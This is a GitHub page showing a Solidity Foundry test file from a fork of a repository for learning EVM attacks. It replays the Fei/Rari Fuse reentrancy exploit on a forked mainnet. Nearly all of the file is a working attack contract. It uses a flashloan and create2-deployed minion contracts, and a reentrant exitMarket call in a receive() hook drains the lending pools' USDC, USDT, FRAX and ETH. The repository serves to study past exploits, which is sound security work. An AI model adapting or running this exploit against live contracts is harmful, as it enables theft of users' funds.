This repository has been archived by the owner on May 27, 2024. It is now read-only.
forked from coinspect/learn-evm-attacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFeiProtocol.attack.sol
274 lines (213 loc) · 10.9 KB
/
FeiProtocol.attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {BalancerFlashloan} from "../../utils/BalancerFlashloan.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import {IWETH9} from "../../interfaces/IWETH9.sol";
interface IUnitroller {
function enterMarkets(address[] memory cTokens) external payable returns(uint256[] memory);
function exitMarket(address market) external;
// Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing.
function borrowCaps(address market) external view returns(uint256);
}
interface ICERC20Delegator {
function mint(uint256 mintAmount) external payable returns (uint256);
function balanceOf(address _of) external view returns(uint256);
function decimals() external view returns(uint16);
function borrow(uint256 borrowAmount) external payable returns (uint256);
function accrueInterest() external;
function approve(address spender, uint256 amt) external;
function redeemUnderlying(uint256 redeemAmount) external payable returns (uint256);
}
interface IETHDelegator {
function mint() external payable;
function balanceOf(address _of) external view returns(uint256);
function decimals() external view returns(uint16);
function borrow(uint256 borrowAmount) external payable returns (uint256);
function accrueInterest() external;
function approve(address spender, uint256 amt) external;
function redeemUnderlying(uint256 redeemAmount) external payable returns (uint256);
function getCash() external view returns (uint256);
}
contract Exploit_Fei_Globals {
IUnitroller public constant unitroller = IUnitroller(0x3f2D1BC6D02522dbcdb216b2e75eDDdAFE04B16F);
ICERC20Delegator public constant fUSDC = ICERC20Delegator(0xEbE0d1cb6A0b8569929e062d67bfbC07608f0A47);
ICERC20Delegator public constant fUSDT = ICERC20Delegator(0xe097783483D1b7527152eF8B150B99B9B2700c8d);
ICERC20Delegator public constant fFRAX = ICERC20Delegator(0x8922C1147E141C055fdDfc0ED5a119f3378c8ef8);
IETHDelegator public constant fETH = IETHDelegator(0x26267e41CeCa7C8E0f143554Af707336f27Fa051);
IWETH9 public constant weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 public constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 public constant usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 public constant frax = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
address public constant attacker = 0x6162759eDAd730152F0dF8115c698a42E666157F;
}
contract Exploit_Fei is TestHarness, BalancerFlashloan, Exploit_Fei_Globals {
// This contract acts as the exploiter factory contract.
function setUp() external {
cheat.createSelectFork("mainnet", 14684813); // We pin one block before the exploit happened.
cheat.label(attacker, "Attacker");
cheat.label(address(this), "Attacker Factory");
}
// Start here, triggering the flashloan and the receiveFlashLoan callback.
function test_attack() external {
address[] memory _tokens = new address[](2);
_tokens[0] = address(usdc);
_tokens[1] = address(weth);
uint256[] memory _amounts = new uint256[](2);
_amounts[0] = 150000000000000;
_amounts[1] = 50_000 ether;
balancer.flashLoan(address(this), _tokens, _amounts, "");
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory ,
bytes memory
) external payable {
require(msg.sender == address(balancer), "only callable by balancer");
require(tokens.length == 2 && tokens.length == amounts.length, "length missmatch");
require(address(tokens[0]) == address(usdc), "no usdc");
require(address(tokens[1]) == address(weth), "no weth");
uint256 balanceBeforeUSDC = usdc.balanceOf(address(this)) - amounts[0];
uint256 balanceBeforeWETH = weth.balanceOf(address(this)) - amounts[1];
uint256 usdcFlashLoanBalance = usdc.balanceOf(address(this));
uint256 wethFlashLoanBalance = weth.balanceOf(address(this));
console.log("\n---- STEP 0: Receive Flashloan ----");
emit log_named_decimal_uint("USDC", usdcFlashLoanBalance, 8);
emit log_named_decimal_uint("WETH", wethFlashLoanBalance, 18);
// Start the reentrancy attack
console.log("\n---- STEP 1: Attack with USDC (Minion #1) ----");
address firstMinion = attack_fUSDC(usdcFlashLoanBalance, 1);
console.log("\n After Redemption");
console.log("Minion #1");
log_balances(firstMinion);
console.log("\n");
console.log("Factory");
log_balances(address(this));
// For ether, performs the same sequence made before but from this contract handling WETH-ETH
console.log("\n---- STEP 2: Attack with ETH (with factory) ----");
attackfETH(wethFlashLoanBalance);
console.log("\n---- STEP 3: Attack with USDC (Minion #2) ----");
address secondMinion = attack_fUSDC(usdcFlashLoanBalance, 2);
console.log("\n After Redemption");
console.log("Minion #2");
log_balances(secondMinion);
console.log("\n");
console.log("Factory");
log_balances(address(this));
// Redeem the whole amount
fETH.redeemUnderlying(fETH.getCash());
// Deposit ETH to get WETH back
weth.deposit{value: 50_000 ether}();
require(weth.balanceOf(address(this)) == 50_000 ether, "error while depositing eth again");
// Pay the flashloan back (no fees?)
weth.transfer(address(balancer), 50_000 ether);
usdc.transfer(address(balancer), 150000000000000);
console.log("\n---- STEP 4: End of the attack ----");
console.log("Factory Balances");
emit log_named_decimal_uint("USDC", usdc.balanceOf(address(this)), 8);
emit log_named_decimal_uint("USDT", usdt.balanceOf(address(this)), 18);
emit log_named_decimal_uint("FRAX", frax.balanceOf(address(this)), 18);
emit log_named_decimal_uint("WETH", wethFlashLoanBalance, 18);
uint256 balanceAfterUSDC = usdc.balanceOf(address(this));
uint256 balanceAfterWETH = weth.balanceOf(address(this));
assertGe(balanceAfterUSDC, balanceBeforeUSDC);
assertGe(balanceAfterWETH, balanceBeforeWETH);
}
function attackfETH(uint256 _wethFlashLoanBalance) internal {
weth.approve(address(weth), type(uint256).max);
weth.approve(address(fETH), type(uint256).max);
weth.withdraw(_wethFlashLoanBalance);
fETH.mint{value: _wethFlashLoanBalance}();
// Enters fETH market to enable it as collateral
address[] memory _cTokens = new address[](1);
_cTokens[0] = address(fETH);
unitroller.enterMarkets(_cTokens);
// Borrows the balance of each market
fUSDC.borrow(usdc.balanceOf(address(fUSDC)));
fUSDT.borrow(usdt.balanceOf(address(fUSDT)));
fFRAX.borrow(frax.balanceOf(address(fFRAX)));
console.log("\nAfter Borrowing");
console.log("Factory");
emit log_named_decimal_uint("USDC", usdc.balanceOf(address(this)), 8);
emit log_named_decimal_uint("USDT", usdt.balanceOf(address(this)), 18);
emit log_named_decimal_uint("FRAX", frax.balanceOf(address(this)), 18);
}
// Commander function to the contracts created with create2
function attack_fUSDC(uint256 usdcloanBalance, uint256 _salt) public returns (address) {
// The factory deploys a minion contract that interacts with FEI
Exploiter_Attacker_Minion attackerMinion = new Exploiter_Attacker_Minion{salt: bytes32(_salt)}(usdcloanBalance);
// Transfers the USDC to the Minion
require(usdc.transfer(address(attackerMinion), usdcloanBalance), "usdc transfer failed");
require(usdc.balanceOf(address(attackerMinion)) == usdcloanBalance, "wrong usdc balance");
require(attackerMinion.factory() == address(this), "factory not initialized on minion");
// Calls setup on minion (named like so to prevent collision with foundry's)
// 1st Chain of calls to FEI
attackerMinion.exploiter_setup_function();
// Mints
attackerMinion.mint();
console.log("\nAfter Minting");
console.log("Minion");
log_balances(address(attackerMinion));
console.log("\n");
console.log("Factory");
log_balances(address(this));
// With fETH and already entered the market, we can borrow.
attackerMinion.borrow();
console.log("\nAfter Borrowing");
console.log("Minion");
log_balances(address(attackerMinion));
console.log("\n");
console.log("Factory");
log_balances(address(this));
// Trigger the redemptiom
attackerMinion.redeemAll();
return address(attackerMinion);
}
receive() external payable {
}
function log_balances(address contractAddr) internal {
emit log_named_decimal_uint("USDC", usdc.balanceOf(contractAddr), 8);
emit log_named_decimal_uint("fUSDC", fUSDC.balanceOf(contractAddr), fUSDC.decimals());
emit log_named_decimal_uint("ETH", contractAddr.balance, 18);
}
}
contract Exploiter_Attacker_Minion is Exploit_Fei_Globals {
uint256 internal mintAmount;
address public factory;
constructor(uint256 _amountToMint){
mintAmount = _amountToMint;
factory = msg.sender;
}
function exploiter_setup_function() public {
// First enters the USDC borrow market
address[] memory _cTokens = new address[](1);
_cTokens[0] = address(fUSDC);
unitroller.enterMarkets(_cTokens);
}
function mint() public returns(uint256 fUSDC_minted){
// Gives Approval so the mint succeeds
usdc.approve(address(fUSDC), type(uint256).max);
fUSDC.mint(mintAmount);
fUSDC.accrueInterest();
fUSDC_minted = fUSDC.balanceOf(address(this));
}
function borrow() public {
fUSDC.approve(address(fETH), type(uint256).max);
fETH.borrow(address(fETH).balance); // Borrow the whole balance of the pool
}
function redeemAll() public returns(uint256){
fUSDC.approve(address(fUSDC), type(uint256).max);
fUSDC.redeemUnderlying(mintAmount);
uint256 usdcBalanceAfterRedemption = usdc.balanceOf(address(this));
usdc.transfer(factory, usdcBalanceAfterRedemption);
// This call triggers the reentrancy chain commanded from the factory.
(bool success, ) = payable(factory).call{value: address(this).balance}("");
require(success, "low level call faileddd");
return usdcBalanceAfterRedemption;
}
receive() external payable{
unitroller.exitMarket(address(fUSDC)); // Reentrant call to unitroller
}
}